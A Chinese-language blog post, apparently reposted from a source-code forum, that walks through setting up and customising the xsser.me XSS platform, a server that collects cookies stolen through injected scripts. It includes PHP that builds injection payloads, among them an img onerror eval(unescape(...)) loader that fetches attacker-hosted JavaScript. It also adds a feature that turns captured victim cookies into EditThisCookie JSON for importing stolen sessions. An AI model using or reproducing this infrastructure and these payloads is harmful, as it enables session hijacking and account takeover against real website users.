XSS 平臺搭建與優化(基於 xsser.me 源碼)

本文引用於:征途源碼論壇(www.zhengtuwl.com)-----專注各類免費精品源碼下載的平臺

wKiom1nO-1vRQ_tIAADFZ8PyEc4885.jpg-wh_50


這個周花了點時間搗鼓公司內網論壇,不幸發現原來搭建的 xss platform 掛了,於是重新找了一份代碼進行搭建。

爲什麼選擇這個呢,主要是因爲作者用 Bootstrap 對xsser.me的默認主題進行了修改,看起來高大上了很多~(至於兼容移動端神馬的就算了吧0 0)

下載源碼後,照着作者寫的安裝說明進行修改就好了:

  • 修改config.php裏面的數據庫連接字段,包括數據庫配置(用戶名、密碼、數據庫名)、網站 URL 路徑和僞靜態配置。

  • 把根目錄下的xssplatform.sql導入到數據庫中。

  • 在數據庫中執行 SQL 語句,把數據庫中的域名改爲自己的域名:

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')

  • 替換authtest.php中的域名爲自己的域名。

  • 首次註冊成功後,修改user表中用戶對應的adminlevel爲1,將自己定義爲超級管理員,可以發送和管理邀請碼。

  • 根據 server 類型配置僞靜態文件:

       Apache

<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L] 
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$  /index.php?do=do&auth=$1&domain=$3 [L] 
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L] 
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]

Nginx

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;

到這裏xss platform就搭建完成了。


我在使用過程碰到的一些 bug,於是對源代碼進行了一番修改。

1. 短地址接口部分失效

在項目代碼中有一個轉換短地址的功能,當然原版的xsser.me是沒有的,是另外的作者集成進來的。

代碼裏提供t.cn和is.gd的短地址轉換,對應函數在source/function.php中的第350行和357行。由於is.gd的 api 地址已經失效,所以我決定把這一塊內容去掉。

先刪掉頁面上展示的內容,打開templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php,將下面代碼去掉:

<p>     
   <pre>        
              <?php echo $this->_tpl_vars['shortShow1']; ?>    
   </pre>
</p>

然後在source/project.php裏面註釋下面兩行:

$shortUrl2=LongUrltoShortUrl2($longUrl);//短網址2$shortShow2=StripStr("<script src=".$shortUrl2."></script>");
2. 去掉JS地址後面的時間戳

JS 地址後面加入時間戳,是爲了在修改 JS 代碼後,刷新對方瀏覽器中緩存的 JS。但在實際測試中感覺作用不是很大,一般代碼修改完刷新一下網頁出來的就是新代碼。所以我把 JS URL 中的時間戳去掉了。

在source/project.php裏進行下面的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("</textarea>'\">
<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
3. HTML 部分優化

代碼中部分 Javascript 和 CSS 資源都是通過國外 CDN 獲取的,有時候頁面 load 很久纔出來,於是把文中引用的資源都改爲本地,當然改成國內 CDN 地址也可以。

在 Sublime Text 中對目錄進行搜索,找出jquery-1.9.1.min.js和bootstrap.min.js引用的地方,然後修改爲本地引用,文件放在themes/default裏對應的文件夾。

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改爲:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/jquery.min.js"></script>
<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改爲:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/bootstrap.min.js"></script>

PS.注意修改後的代碼爲兩行。

PPS.其實引用的 Javascript 文件最好放在<body>的最後,但這裏需要手動找到所有的 Javascript 進行修改,太麻煩了就沒做。

4. 添加 cookie 複製功能

一般來說,打到對方 cookie 後,會借用EditThisCookie這個工具把 cookie 導入到 chrome 中。但document.cookie輸出的 cookie 不能直接導入,需要轉換成EditThisCookie規定的 JSON 格式。

源代碼中本身自帶了實現複製功能的 JS 代碼,但默認是註釋掉的,因爲沒有完整實現。同時,這個複製只是把 JSON 化後的 cookie 通過alert()打印到屏幕上,當 cookie 內容過多時,alert 窗口並不能展示所有的內容。

於是我決定對這個功能進行修改,在完成 JSON 格式化的同時,把 JSON 內容放入到剪貼板中。

首先對原有 HTML 節點進行修改,打開%%33^334^334DB811%%project_view.html.php ,找到下面內容:

<li><?php echo $this->_tpl_vars['ck']; ?> : 
<?php echo $this->_tpl_vars['c']; ?>
</li>
修改爲:
<li><?php echo $this->_tpl_vars['ck']; ?> : 
<span id="<?php echo $this->_tpl_vars['ck']; ?>">
<?php echo $this->_tpl_vars['c']; ?>
</span>
</li>
<tr class="ohidden">
修改爲:
<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">
<!--              <a href="javascript:void(0)">複製</a>             -->
修改爲:  
<a href="javascript:void(0)">複製</a>

當某一條記錄沒有location或者cookie值的時候,Copy()函數會報錯,所以要加一個判斷條件:

var table = $(obj).parent().parent(); 
var l = table.find("#location").text(); 
var c = table.find("#cookie").text();
var table = $("#"+obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
if (l == "" || c == "") {  return "";}

修改Copy()函數的返回形式:

alert(JSON.stringify(data));
return JSON.stringify(data);

爲了實現讓 JSON 數據複製到粘貼板上,我們需要藉助ZeroClipboard.js這個插件。下面是調用代碼:

<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/ZeroClipboard.min.js"></script>
ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));client.on('copy', function(event) 

var clipboard = event.clipboardData;  clipboard.clearData();  
   clipboard.setData("text/plain", Copy(event.target.id));});client.on('aftercopy', function(event) 

if (typeof(event.success['text/plain']) == "undefined") 
{    
alert("cookie複製失敗,請檢查cookie格式~"); 
}  
else {    
alert("cookie已複製到剪貼板,可以導入EditThisCookie啦~");  
        }
    }
);

這樣就大功告成了~


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章